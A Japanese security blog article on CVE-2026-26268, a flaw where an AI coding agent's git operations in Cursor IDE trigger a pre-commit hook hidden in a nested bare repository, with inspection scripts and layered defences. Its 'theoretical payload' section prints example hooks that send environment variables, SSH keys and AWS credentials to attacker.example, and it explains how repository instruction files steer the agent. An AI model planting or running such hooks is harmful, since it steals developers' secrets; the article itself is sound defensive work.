Cursor IDEに2026年2月、深刻度Highの任意コード実行脆弱性 CVE-2026-26268 が公表された。発見したのは AI Pentesting プラットフォームを開発するNovee(イスラエル)の研究者Assaf Levkovich氏。攻撃者が正規のリポジトリの中に「bare repository」を埋め込み、そこに悪意あるpre-commitフックを仕込んでおくと、ユーザーがCursorのAIエージェントに普通のタスクを依頼しただけで、フックが確認・警告なしで自動実行されるという内容だ。Noveeは責任ある開示プロセスをCursorと協調で完了し、2026年4月28日に詳細を公開した。Noveeは同時期にGoogle Gemini CLIに対するCVSS 10.0のRCEも公表しており、AIエージェント全般を対象とした研究の一環として位置付けられる。
「リポジトリをクローンしてAIに作業を頼む」という日常動作1つで、攻撃者のコードが開発マシン上で動く——AIエージェント時代の新しい攻撃面を象徴する事例として、Cursor利用者と開発組織のセキュリティチームに即時対応が求められている。Cursor全体やClaude Codeとの違いを整理したい場合はCursorとClaude Codeを徹底比較|AIコーディング2026年版も併せて確認してほしい。
本記事は読者の即時実用性を優先し、(1) 何が起きているか、(2) なぜ深刻なのか、(3) 今日から取れる5つの防御策、(4) チーム単位の3層防御の順にまとめる。エンジニア個人なら30分、セキュリティチームなら1日以内にアクションを起こせる粒度を意識した。
- CVE-2026-26268はCursor固有の実装ミスではなく、Gitの正規機能(フック+bare repository)×AIエージェントの自律実行という新しい組合せが生み出した任意コード実行
- 悪意あるリポジトリに埋め込まれたpre-commitフックが、Cursor AgentのGit操作(git checkout等)で「ユーザー承認なし・警告なし」に発火する。クローン→コード実行が1アクション
- 対策は (1) Cursorを最新に更新、(2) 信頼できないリポジトリでAgentを動かさない、(3)
core.hooksPathを空ディレクトリに固定、(4) クローン直後にネストした.gitを検査、(5) サンドボックス(コンテナ/VM)でAI開発する、の5本柱
信頼性スコアでチェックする:第三者評価サイトの数値
技術記事で「Cursor / Git / Claude Codeは信頼できるか?」と問われた時、主観でなく第三者評価サイトの定量スコアを引用すると判断材料が揃う。本CVEに関連する範囲で押さえておきたいスコアリングソースを整理する。
| ソース | 何が分かるか | URL |
|---|---|---|
| NVD(National Vulnerability Database) | CVE公式情報・CVSSスコア | nvd.nist.gov |
| GitHub Security Advisory | OSSプロジェクト固有の脆弱性ID(GHSA) | github.com/advisories |
| CISA KEV Catalog | 実環境で悪用が確認された脆弱性リスト | cisa.gov/known-exploited-vulnerabilities-catalog |
| OpenSSF Scorecard | OSSのセキュリティ実装スコア(0-10) | scorecard.dev |
| Snyk Vulnerability DB | パッケージ単位の脆弱性スコア | security.snyk.io |
| OSSF Best Practices Badge | ベストプラクティス遵守バッジ | bestpractices.coreinfrastructure.org |
| Socket.dev | サプライチェーン視点のスコア | socket.dev |
| OSS Insight | GitHub活動量・コントリビュータ多様性 | ossinsight.io |
CVE-2026-26268本体のCVSSスコアはNoveeブログでは数値が明示されておらず、Cursorの公式アドバイザリに記載がある場合はそちらが一次ソースになる。「該当CVEがNVDに登録され、KEVに昇格すれば組織として最優先対応」という運用ルールを社内に持つと、対応の優先順位付けが自動化できる。
OpenSSF Scorecardは「プロジェクトがCIにセキュリティチェックを組み込んでいるか」「メンテナーは2要素認証か」などを0-10で点数化する。Cursorそのものはクローズドソースだが、関連OSS(Tauri、Electron、git)のスコアを並べて比較すると、エコシステム全体の健全性が見えやすくなる。
CVE-2026-26268の概要:Cursor IDEに対する高深刻度RCE
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2026-26268 |
| 製品 | Cursor IDE(AI-powered code editor) |
| 種別 | Arbitrary Code Execution(任意コード実行) |
| 深刻度 | High(Cursor公表 / Novee発表時点) |
| 発見者 | Assaf Levkovich(Novee) |
| CVE発行 | 2026年2月(Cursorが公表) |
| 公開ブログ | 2026年4月28日(Novee) |
| 攻撃前提 | 攻撃者制作のリポジトリをユーザーがクローンし、Cursor Agentに作業依頼 |
| ユーザー操作 | 「リポジトリをクローンする」のみ。追加の操作・警告なし |
| 修正状況 | Noveeとの調整により修正済みで公開 |
CVSSスコアの数値は本記事執筆時点(2026-05-03)でNoveeブログに明示されておらず、公式アドバイザリの最新値は別途確認が必要。Noveeは「path from クローン to attacker runs code on your machine is now a single routine action(クローンから攻撃者コード実行までが普通の1アクション)」と表現しており、ユーザー視点での実害は深刻。
検証環境注記: 本記事はNovee公式ブログ(2026-04-28公開)とCursor側の一般的な公表情報をもとに構成。再現実験はユーザー環境保護の観点から本サイトでは行わず、READMEと一次ソース引用のみとする。確認日 2026-05-03。
CVE-2026-26268の攻撃が成立する仕組み
脆弱性は「Gitの2つの正規機能」と「AIエージェントの自律実行」の組合せから生まれる。それぞれが単独で危険なわけではないが、AIエージェントが間に入ることでガードが外れる。
Git Hook(フック)の挙動
Git Hookはpre-commitやpost-checkoutなど、特定のGitイベントに応答して自動実行されるスクリプト。リポジトリの.git/hooks/ディレクトリに置かれ、通常は追跡対象外(.git/はクローン時に再生成される)。フックは「自動化のための正規機能」として広く使われている。
Bare repository(ベアリポジトリ)の挙動
Bare repositoryはワーキングツリーを持たず、.git/の中身だけを格納するGitリポジトリ。サーバ側リポジトリの実体としても使われる。通常のリポジトリの中にbare repoを「埋め込む」ことができるため、リポジトリの一部としてGitフックを忍ばせる経路になる。
AIエージェントが触媒になる
通常のIDEは受け身で、Gitコマンドはユーザーが明示的に叩く。CursorのAIエージェントは違う。「このリポジトリの仕様を調べて」「ブランチを切り替えて差分を見て」といった自然言語の依頼を解釈し、自律的にgit checkoutやgit operationsを連鎖実行する。ユーザーが個別のコマンドを承認するワンステップが取り除かれている。
結合した瞬間に発生する任意コード実行
攻撃者が以下を作り込んだリポジトリを公開する。
- ユーザーが見る「正規のフロントエンド」(READMEや普通のコード)
- その内部にネストして埋め込まれたbare repository
- bare repository内の
hooks/pre-commitに任意のシェルスクリプト(攻撃ペイロード)
ユーザーがそのリポジトリをクローンしてCursorで開き、Agentに「コードを動かして」「テストを書いて」と頼むと、Cursor Rules等の指示でAgentがgit checkout等のGit操作を内部リポジトリ・コンテキスト下で実行する。すると埋め込まれたbare repoのpre-commitフックがユーザーの確認なしに発火し、攻撃者のコードがユーザーマシンで実行される。
何が新しいのか:AIエージェント時代の脅威モデル
Git hookによる任意コード実行という現象自体は新しくない。Git使用時の長年の注意事項として、信頼できないリポジトリの.git/hooks実行は古典的なリスクだ。CVE-2026-26268が高深刻度として注目されるのは、AIエージェントが「ユーザー承認」というガードを実質無効化する点にある。
| 観点 | 従来のIDE利用 | Cursor Agent経由のAI利用 |
|---|---|---|
| Gitコマンド実行主体 | 開発者本人(明示的) | AIエージェント(暗黙的) |
| ユーザーへの確認 | コマンドごとに自分で叩く | 自然言語1回でN個のGit操作が連鎖 |
| 警告・プロンプト | 開発者が状況を把握 | Agentの理由付けの裏で進行 |
| 攻撃のトリガー | ユーザーの誤操作・社会工学 | リポジトリのクローン1アクション |
| Cursor Rulesの存在 | 不在 | リポジトリ内の指示でAgent挙動が変わる |
AIエージェントは「ユーザーが暗黙に許可した範囲の操作」を高速・大量に実行する。1個の操作なら警戒する開発者も、Agentが組み立てた「git fetch → git checkout → npm install → test → …」の連鎖の中に1回だけ仕込まれた悪意あるフック発火を視認するのは現実的に困難だ。
Noveeの研究方針:トラスト境界の侵害
Noveeはこの種の脆弱性を「トラスト境界違反 in マルチステップ・エージェントワークフロー」というカテゴリで体系的に探索している。「個別の機能のバグ」ではなく「機能Aと機能Bが、エージェントを介在させると本来の保護を失う」という構造的問題だ。
Noveeブログは「Cursor Rulesとagent instructionsはアタックサーフェスである」と明言している。リポジトリに含まれる設定ファイルがエージェントの挙動を形作るなら、その設定ファイル自体が信頼できない入力として扱われる必要がある。
影響範囲とユーザーが取るべき対応
影響を受ける利用者
- Cursorを使ってGitリポジトリをクローン・操作する全ユーザーが原則影響対象
- とりわけ未知のソースのリポジトリ(GitHubの他人のレポ、ハンズオン教材、競合分析対象等)をAgentに触らせる運用は要注意
- Cursor RulesやAGENTS.md相当の指示を含むリポジトリを開く際は、その指示自体を吟味する必要がある
修正状況と背景
NoveeとCursorは責任ある開示(responsible disclosure)プロセスを協調で進め、Novee公開時点で既に修正リリースが出ている。Cursorは2026年2月に該当CVE番号を発行しており、Noveeブログ公開の4月28日までの2ヶ月間でユーザーへのアップデート浸透を待つ運用を選んだ形だ。これはセキュリティコミュニティで一般的に推奨されるパターンで、ユーザー保護を最優先に置いた進め方になっている。
ただし開発者個人としては、「修正されたから安全」ではなく「修正版を実際に適用したか」が問われる。以下は適用後も含めて推奨される対応。
| 優先度 | 対応 |
|---|---|
| 必須 | Cursor IDEを最新版にアップデート(メニュー → Cursor → Check for Updates) |
| 必須 | Cursorの自動アップデート機能を有効化 |
| 推奨 | クローンしたリポジトリの.git/hooks/と埋め込みbare repoの有無を検査 |
| 推奨 | 信頼できないリポジトリのAgent操作はサンドボックス(コンテナ/VM)内で実施 |
| 推奨 | git config --global core.hooksPath /dev/nullまたは空ディレクトリ固定でフック実行を抑制(業務影響を確認のうえ) |
| 任意 | EDR / セキュリティ監視で開発者マシンの異常プロセス起動を検知 |
開発者が今日から実装できる5つの防御策
1. Cursorを最新に更新する
最も基本かつ重要。Noveeとの修正調整が完了してから公開された脆弱性であり、最新版で対策が組み込まれている。自動アップデートを有効にし、定期的に手動でも更新確認する。
# macOSのCursorはアプリ内更新が標準
# CLIから確認したい場合(CursorはElectronベース)
defaults read com.todesktop.230313mzl4w4u92 KSAutoUpdateCheck # 内部キー
2. リポジトリクローン直後の検査スクリプト
クローン直後に.git/hooks/とネストした.git/ディレクトリを検査するワンライナーを習慣化する。
# クローン後に実行する検査スクリプト
clone_audit() {
local dir="${1:-.}"
echo "[*] Checking $dir for hooks and nested .git"
find "$dir" -type d -name '.git' | while read g; do
echo "[.git] $g"
ls -la "$g/hooks" 2>/dev/null | grep -vE '\.sample$' | tail -n +2
done
find "$dir" -type d -name 'objects' -path '*.git/objects' | grep -v "^$dir/.git/" \
&& echo "[!] Nested bare/.git detected — review before opening in IDE"
}
# 使い方
git clone https://github.com/example/repo.git && cd repo && clone_audit .
ネストした.git/が複数存在する、もしくはトップ階層以外に.git/がある時点で即時警戒する。READMEに無い.git/ディレクトリはほぼ常に異常だ。
3. core.hooksPathで全フックを無効化
業務上の不便と引き換えに、信頼できないリポジトリ専用ディレクトリでcore.hooksPathを空に固定する。
# 専用ディレクトリ作成
mkdir -p ~/cursor-untrusted
# 信頼できないリポジトリはここで作業
cd ~/cursor-untrusted
git config --global --add safe.directory '*' # 必要に応じて
git -c core.hooksPath=/dev/null clone https://github.com/example/untrusted-repo.git
# プロジェクト単位で固定する場合
cd untrusted-repo
git config core.hooksPath /dev/null
core.hooksPathを空に向けるとフック実行は走らなくなる。ただし自分のリポジトリでpre-commitフックを使っているチームではそのまま全員に推奨できないので、信頼できないリポジトリ専用の使い分けが現実解になる。
4. Cursor RulesとAGENTS.mdを「信頼できない入力」として扱う
Cursor Rules(.cursor/rules/)やAGENTS.md相当の指示ファイルは、Cursor Agentの挙動を変える設定だ。攻撃者制作のリポジトリにこれらが含まれる場合、Agentは攻撃者の意図に沿って動く可能性がある。
- 未知のリポジトリを開く前に
.cursor/、AGENTS.md、CLAUDE.md、.claude/、.codex/等の指示ファイルを目視レビュー - レビュー前にAgentを起動しない(Cursorのチャット機能はOFFで開く)
- 不審な指示があればプロジェクトを開かずに削除
5. 開発作業をサンドボックス化する
最も保護効果が高いのは、信頼できないリポジトリの作業をコンテナ/VMで隔離すること。
# Dev Containerでサンドボックス化(VS Code互換、Cursorも対応)
mkdir -p .devcontainer && cat > .devcontainer/devcontainer.json <<'EOF'
{
"name": "untrusted-cursor-sandbox",
"image": "mcr.microsoft.com/devcontainers/base:ubuntu",
"remoteUser": "vscode",
"mounts": [],
"runArgs": ["--cap-drop=ALL", "--security-opt=no-new-privileges"]
}
EOF
ホスト側のSSHキー・AWSクレデンシャル・1Passwordセッションなどはコンテナ内に持ち込まないことが鉄則。Macで作業するならOrbStackやLima、Linuxなら素のDocker、Windowsの場合はWSL2コンテナで隔離する。
攻撃ペイロードの理論的な姿(防御側理解のため)
実際のペイロードはNoveeブログには公開されていない(責任ある開示の流儀として正しい判断)。ただしGit hookの仕様から理論的にどんなコードが書かれ得るかを理解しておくと、検査スクリプトを作るときに役立つ。
pre-commitフックの典型的な構造
.git/hooks/pre-commitは実行可能ファイルで、shebangで言語を指定できる。攻撃者が選びやすい言語と動作の組合せは概ね次のようになる。
#!/bin/sh
# 例: 環境変数とSSHキーを外部送信する架空ペイロード(教育目的、実行禁止)
{
env
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.aws/credentials 2>/dev/null
ls -la ~/.config/gh 2>/dev/null
} | curl -s --data-binary @- https://attacker.example/collect
exit 0
#!/usr/bin/env python3
# 別言語パターン(教育目的)
import os, urllib.request, json
data = json.dumps({"hostname": os.uname().nodename, "user": os.environ.get("USER")})
urllib.request.urlopen("https://attacker.example/in", data=data.encode())
これらは「クローン1回でクレデンシャルとSSH鍵が抜かれる」最悪ケースを想定したもの。コードを実行しないことを強く推奨する。重要なのは「フックは何でも書ける」点で、防御側はファイルの存在検知+実行抑止の両輪が必要だ。
bare repository埋め込みの構造
通常のリポジトリトップ階層に.git/があるのは正規構造。一方でサブディレクトリの中に追加で.git/が現れる、もしくはbare構造(.gitなしで直接HEAD/objects/refsが並ぶディレクトリ)が混入していたら、それが攻撃の本体である可能性が高い。
malicious-repo/
├── README.md # 普通のREADME
├── src/ # 普通のコード
└── tools/
└── helper/ # ← この中に
├── HEAD # ← bare repo の中身
├── config
├── objects/
├── refs/
└── hooks/
└── pre-commit # ← 攻撃ペイロード
find -type d -name 'objects' -path '*/refs/*' -prune のような検出ルールを習慣化すると、見落としにくくなる。
より厳密な検査スクリプト(POSIX shell + 可視化)
クローン直後に実行する検査をもう少し堅牢にしたバージョン。find の depth を絞り、bare repo 候補を可視化する。
#!/bin/sh
# usage: cursor_safe_inspect.sh <path>
set -e
TARGET="${1:-.}"
echo "## 検査対象: $TARGET"
echo "## 1) 全 .git/ ディレクトリ"
find "$TARGET" -type d -name '.git' | sed 's|^| |'
echo "## 2) bare repo 候補 (HEAD と objects と refs が並ぶディレクトリ)"
find "$TARGET" -type f -name 'HEAD' | while read h; do
d=$(dirname "$h")
if [ -d "$d/objects" ] && [ -d "$d/refs" ]; then
case "$d" in
"$TARGET/.git"|"$TARGET/.git/")
;;
*)
echo " [!] $d ← suspicious (nested bare repo?)"
;;
esac
fi
done
echo "## 3) 全 hooks/ ディレクトリ内の非 .sample ファイル"
find "$TARGET" -type d -name 'hooks' | while read hd; do
for f in "$hd"/*; do
[ -f "$f" ] || continue
case "$f" in
*.sample) ;;
*) echo " [!] $f ← review before opening with Cursor Agent" ;;
esac
done
done
echo "## 4) Cursor 関連設定ファイルの確認"
find "$TARGET" -name '.cursorrules' -o -name '.cursor' -o -name 'AGENTS.md' \
-o -name 'CLAUDE.md' -o -name '.claude' -o -name '.codex' | sed 's|^| |'
echo "## 完了。検出された全項目を確認してから Cursor で開いてください。"
このスクリプトを ~/bin/cursor_safe_inspect.sh に置き、実行権限を付けて運用する。
chmod +x ~/bin/cursor_safe_inspect.sh
git clone https://github.com/example/repo.git
cd repo
~/bin/cursor_safe_inspect.sh .
「検出ゼロを確認してからCursorで開く」を新しい習慣にする。
同時期の関連事例:Gemini CLI CVSS 10.0
Noveeは同時期にGoogle Gemini CLIのCVSS 10.0 RCE脆弱性も公開している。攻撃者が外部からホストシステム上でコマンド実行可能で、CI/CDパイプラインがサプライチェーン攻撃経路に変わる構造を持つ。
CVE-2026-26268と並べると、「AIエージェントが自律実行する操作の文脈」が攻撃面であるという共通項が浮かぶ。
| 観点 | CVE-2026-26268(Cursor) | Gemini CLI(CVSS 10.0) |
|---|---|---|
| 製品 | Cursor IDE | Google Gemini CLI |
| 攻撃前提 | リポジトリクローン | CLI実行・CI/CD |
| 経路 | Git hook + bare repo | エージェント実行コンテキスト |
| 影響 | 開発マシンで任意コード実行 | ホストで任意コマンド実行 |
| 共通点 | エージェントが「自然言語→コマンド」を翻訳する文脈 |
「AIエージェントを使ったCLI/IDEは、扱う入力が信頼できない瞬間に自動的にRCE一歩手前まで攻撃面が広がる」という認識をセキュリティ・開発両チームで共有する必要がある。
同種事例の系譜:AI開発環境を取り巻くセキュリティ
ai-archive-jpで過去に取り上げたAIコーディング関連のセキュリティ事案と並べて、エコシステム全体の流れを把握する。
- Cursor + Claude AgentがPocketOSで本番DBを9秒で削除した事件 — エージェントの過剰権限と確認なし破壊操作のケース
- GitHub Enterprise Server CVE-2026-3854 RCE(Wiz発見) — git pushでサーバーRCE。Git周辺の信頼境界がいかに繊細か
これら3件をまとめて読むと、「AI開発環境+Git+自律実行」の交差点でリスクが突出していることが分かる。CVE-2026-26268はその系譜の最新事例だ。
CVE-2026-26268のタイムラインと開示プロセス
| 日付 | イベント |
|---|---|
| (非公開) | Novee researcher Assaf Levkovich氏が発見 |
| (非公開) | Cursorとの責任ある開示プロセス開始・修正実装 |
| 2026年2月 | CursorがCVE-2026-26268として公開 |
| 2026年4月28日 | Novee社が技術詳細をブログで公開 |
| 2026年5月3日(本記事) | 日本語解説・防御策の整理 |
責任ある開示(responsible disclosure / coordinated disclosure)の良い事例だ。発見〜修正完了までベンダーと協調し、利用者保護のために修正後に公表している。CVE発行から技術詳細の公開まで2ヶ月のラグを設けている点も、修正適用の余裕を作る一般的なベストプラクティス。
他のAI IDE / CLIでも構造的に再現する可能性
CVE-2026-26268はCursorだけの問題ではない。Gitフック仕様とAIエージェントの自律実行という組合せは、多くの製品が共有している。各ツールの公式ガイダンスを確認しつつ、リスク傾向を俯瞰しておく。
| ツール | 自律git実行 | デフォルトの確認 | 同種リスクの可能性 |
|---|---|---|---|
| Cursor | あり | 一部のみ | 本CVEで顕在化 |
| Claude Code | あり | 設定可(hooksでブロック可能) | あり(Hooksで防御可能) |
| OpenAI Codex CLI | あり | 3つの承認モード | 設定次第(Read-only推奨) |
| Gemini CLI | あり | 別CVE(CVSS 10.0)が公開 | あり |
| OpenCode | あり | tool.execute.before プラグイン | あり |
| Aider | あり | コマンド都度確認寄り | 比較的低リスク |
| GitHub Copilot CLI | 限定的 | 通常コマンド毎確認 | 低リスク |
Claude Codeの場合: PreToolUseフックを使って Bash や Git 操作を業務ポリシーで止められる。社内テンプレで ~/.claude/settings.json の hooks を共通化する運用が現実解。
Codex CLI の場合: autoモードを避け、read-onlyまたはapproval-requiredで運用。これだけで本CVEと同型の攻撃の大半は止まる。
Gemini CLI の場合: 同じNoveeが2026-04-29にCVSS 10.0の脆弱性を公表済み。ベンダーのアップデート情報を必ず確認。
ai-archive-jpの読者に強く伝えたいのは「AIエージェントが自律的にgitやshellを叩く製品は、本構造の脆弱性が”いつ次に出てもおかしくない”前提で運用する」という見方だ。1製品の最新化だけでなく、エコシステム全体の継続的な情報収集が必要になる。
CISO・セキュリティチーム視点の論点
Noveeブログは記事末尾でセキュリティチーム向けに以下を提起している。これはai-archive-jpの読者にも参考になる。
- 開発者マシンは「本番相当」のターゲット — クレデンシャル・トークン・ソース・社内ツールにアクセスできる。開発者マシンでのRCEは横展開の足がかり
- 従来のpentestはIDE自体を対象外にしがち — APIや外部攻撃面ばかり見てきたが、AIエージェントが介在すると開発環境自体が露出する
- Cursor Rules等のリポジトリ内設定は攻撃面 — 配布物の信頼境界を再定義する必要
- 1アクション攻撃モデル — クローン→RCEが1ステップに圧縮された。社会工学やユーザーの誤操作前提の防御は通用しない
- 継続的なred teaming — AIエージェントの挙動はバージョンや設定で変わるため、アニュアル監査では追いつかない
FAQ
Q1. CVE-2026-26268は具体的にどのバージョンのCursorに影響する?
Noveeブログは具体的なCursorバージョンを記載していない。Cursor側のセキュリティアドバイザリで影響バージョン範囲とパッチバージョンを確認するのが正規のフロー。Cursorを最新版に更新するのが最短かつ確実な対策。
Q2. 公開リポジトリをクローンしただけで本当に被害に遭う?
「クローンしただけ」では発火しない。Noveeブログによると、Cursor AgentがGit操作(git checkout等)を実行することで、埋め込みbare repoのpre-commitフックがトリガされる。ただしAgentに何らかの作業を依頼すれば容易にgit操作が走るため、実質的には「リポジトリを開いてAgentを動かす」だけで成立する。
Q3. VS CodeやJetBrainsには影響がない?
直接的には影響しない。CVE-2026-26268はCursorのAIエージェントが自律的にGit操作を行う挙動と、Gitフック仕様の相互作用が原因だ。ただし他のAI IDE/AI CLI(Claude Code、Codex CLI、Gemini CLI、OpenCode等)でも構造的に類似のリスクが存在する可能性があり、各ベンダーの対応状況確認が必要。
Q4. AIエージェントを使わなければ安全?
Cursorを「普通のエディタ」として使い、Agentを起動しない場合は本脆弱性のリスクは大幅に下がる。ただしGit hookの一般的な脆弱性(例: git status等が.git/hooks/を実行するわけではないが、ユーザーがgit commit等を叩けばフックは動く)は依然として残る。最も堅牢なのはサンドボックスでの作業。
Q5. 自社の開発者全員にどう伝えればいい?
短い社内告知文の例。
件名: 【至急】Cursor IDE脆弱性CVE-2026-26268への対応
概要: Cursor IDEにGitフック経由の任意コード実行脆弱性が公表されました。
対応:
1. Cursorを最新版に更新してください(メニュー → Cursor → Check for Updates)
2. 信頼できないリポジトリをCursor Agentで操作しないでください
3. クローン後に .git/hooks/ と ネストした .git/ を確認してください
4. 不明点はセキュリティチームまで
詳細: https://novee.security/blog/cursor-ide-cve-2026-26268-git-hook-arbitrary-code-execution/
Q6. ロールバックしたい場合、Cursor旧バージョンの再ダウンロード方法は?
Cursorは公式に旧バージョンを配布していない(2026-05-03時点)。修正済み最新版の利用が前提となる。脆弱バージョンを意図的に動かすことは推奨されない。
Q7. Cursor RulesやAGENTS.mdが攻撃面と書かれていたが、社内テンプレも危険?
社内で管理しているCursor Rules / AGENTS.md / CLAUDE.mdは通常安全。問題は外部リポジトリに含まれている指示ファイルで、それをAgentが読み込んで挙動を変える可能性がある点。社内テンプレートはむしろ「指示ファイルの差分が出たら検知する」運用ルール(PRレビュー必須、自動lintで意外な変更検出)を入れると更に安全。
Q8. Bug Bountyや報奨金は?
Noveeの該当記事には金額の言及はない。CursorのVDP(Vulnerability Disclosure Program)有無はCursor公式で確認すること。
チーム単位で導入すべきプリンシプル「3層防御」
個人の習慣だけでなく、組織として「3層防御」を制度化することで、CVE-2026-26268と同種の攻撃に強くなる。各層は独立して機能するが、組み合わせると相互補完する。
第1層:入口での検査と隔離
外部リポジトリを「クローン直後」にチェックして、信頼できる作業領域に持ち込むかどうかを判断する層。
- 信頼できないリポジトリは専用サンドボックスマシンまたはdev containerで展開
cursor_safe_inspect.sh等の検査スクリプトをCI/pre-clone hookに組み込む- リポジトリの
.git/構造を可視化するブラウザ拡張・ツールを社内配布
第2層:エージェント実行時の制限
AIエージェントが暗黙に許可される操作を狭める層。
- Cursor / Claude Code / Codex の承認モードを業務ポリシーで強制(read-only優先)
- PreToolUseフックでBash・git操作を社内ホワイトリストに制限
core.hooksPathを信頼できないリポジトリ専用に空ディレクトリに固定- 開発者マシンに
HOOKS_DENY=1等の環境変数を立て、フック実行をシェルレベルで止める仕組み
第3層:実行後の検知と被害最小化
万一発火した場合に、影響範囲を最小化する層。
- 開発者マシンにEDR導入し、不審なネットワーク送信や子プロセス起動を検知
- SSH秘密鍵・クラウドクレデンシャルはハードウェアキー or KMSに格納し、ファイルとして読めない設計
- AWS/GCP のセッションは短期トークンに統一、漏洩しても影響時間が限定される
- 開発者マシンが本番に直接アクセスする経路を排除(jump server経由・VPN必須等)
3層が揃って初めて「1層目を破られても2層目で止まる、2層目を破られても3層目で被害が局所化される」という多重防御が機能する。CVE-2026-26268は1層目の盲点(クローンしただけでは何も起きない油断)を突いた攻撃であり、2層目/3層目の重要性を再確認させる事例だ。
開発者個人の運用チェックリスト
繰り返しになるが、CVE-2026-26268の被害が顕在化するのは「業務で開発者がいつもどおり動いた瞬間」だ。だからこそ、対策は特別なツール導入ではなく毎日の運用習慣に組み込まれるべきものになる。最後に、個人で今日から運用に組み込めるチェックリスト形式で整理する。
- Cursorが最新バージョンであることを起動時に確認
- 自動アップデートを有効化
- 信頼できないリポジトリをクローンする前に作業ディレクトリを意識的に分離
- クローン直後に
.git/hooks/とネストした.git/を検査 - 不明なリポジトリでは
AGENTS.md.cursor/rules/CLAUDE.mdを目視レビューしてからAgentを起動 - 重要クレデンシャルを開発マシンに平文で置かない
- サンドボックスでの作業を躊躇しない(dev container / VM / 専用マシン)
- CVE情報のRSS/Twitter(Novee Labs等)を購読し、新しい類似脆弱性を早期に把握
- PRに
.git/hooks/に関係する変更が混入していないかをコードレビューで確認 - 月1回以上、所属チームでAI開発環境のセキュリティを見直す時間を取る
10項目を実行できているチームは、CVE-2026-26268と同種の攻撃に対する耐性が大きく上がる。
まとめ:CVE-2026-26268は「AIエージェント時代の脅威モデル更新」を告げる事例
CVE-2026-26268は、Cursor IDEとGit hookという「個別には既知」の要素が、AIエージェントの自律実行という新しい層を経由してユーザー承認を素通りさせる構造的な脆弱性だ。1ステップでクローンからRCEに到達する点で、従来の「クライアントサイド攻撃にはユーザーの誤操作が必要」という前提が崩れている。
開発者個人としての即時対応は Cursor最新化+クローン直後の.git/検査+サンドボックス作業の3点セット。組織としては Cursor Rules / AGENTS.md を「信頼できない入力」として扱う運用ルールと、開発者マシンを本番相当ターゲットとして守るセキュリティ施策の見直しが必要になる。
Noveeのような研究チームが類似のマルチステップ脆弱性を継続的に発見しており、Gemini CLIのCVSS 10.0事例も同時期に公開されている。AIエージェントを業務に組み込む全ての組織は、「自律実行 × 外部入力 × システム操作」の3点が交わる箇所を継続的に監査するred teaming体制を持つべきだろう。
関連記事として、CursorとClaude Codeを徹底比較|AIコーディング2026年版、AIエージェントが本番DBを削除|Cursor x Claude事件解説、GitHub RCE脆弱性CVE-2026-3854 も併せて確認してほしい。
最後に強調しておきたいのは、CVE-2026-26268そのものは修正されたが、根本にある「AIエージェント × 自律実行 × 外部入力」という構造的リスクは消えていないということだ。AI IDEを業務に深く統合する組織ほど、本記事の各種防御策を制度化することの便益は大きい。次に同種の脆弱性が公表されるとき、慌てず対応できるかどうかは「常時の運用設計」にかかっている。GitフックやCursor Rulesといった「便利機能」は、信頼境界の設計を伴わなければ攻撃面に変わる——CVE-2026-26268は、その当たり前の原則をAIエージェント時代に持ち越して読み直す機会と捉えたい。
更新履歴
- 2026-05-03: 初版執筆・公開
参照ソース
- Novee: Your AI Coding Agent Will Run This Exploit For You: How We Found a High-Severity CVE in Cursor (CVE-2026-26268)
- Cursor 公式
- Git documentation: githooks
- Git documentation: bare repositories
- Novee Labs: AI Red Teaming for LLMs
- Novee blog: A CVSS 10.0 in Gemini CLI
- GitHub: githooks reference list
- NVD(National Vulnerability Database)
- GitHub Security Advisory
- CISA KEV Catalog(Known Exploited Vulnerabilities)
- OpenSSF Scorecard
- Snyk Vulnerability DB
- Socket.dev(サプライチェーンスコア)